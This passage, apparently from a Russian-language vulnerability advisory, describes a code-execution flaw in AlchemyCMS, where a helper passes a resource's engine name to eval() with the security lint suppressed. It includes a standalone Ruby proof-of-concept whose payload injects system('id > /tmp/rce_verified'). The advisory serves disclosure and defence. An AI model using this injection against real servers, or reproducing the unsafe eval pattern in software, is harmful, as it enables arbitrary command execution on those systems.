def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
Наличие директивы # rubocop:disable Security/Eval подтверждает, что последствия использования eval() для безопасности были осознаны, но проигнорированы при реализации.

3. Доказательство концепции (PoC)
Вектор атаки
Уязвимость срабатывает в административном интерфейсе AlchemyCMS при рендеринге представлений на основе ресурсов (например, Sites или Languages). Если злоумышленник может манипулировать конфигурацией модуля или базовыми данными ресурса, он может добиться выполнения кода.

Автономный эксплойт-скрипт
Следующий скрипт демонстрирует выполнение произвольного кода путём имитации уязвимого окружения хелпера:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Полезная нагрузка: выполняет системную команду 'id' и создаёт файл-доказательство
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Доказательство выполнения
После выполнения системная команда обрабатывается, предоставляя злоумышленнику доступ к окружению сервера.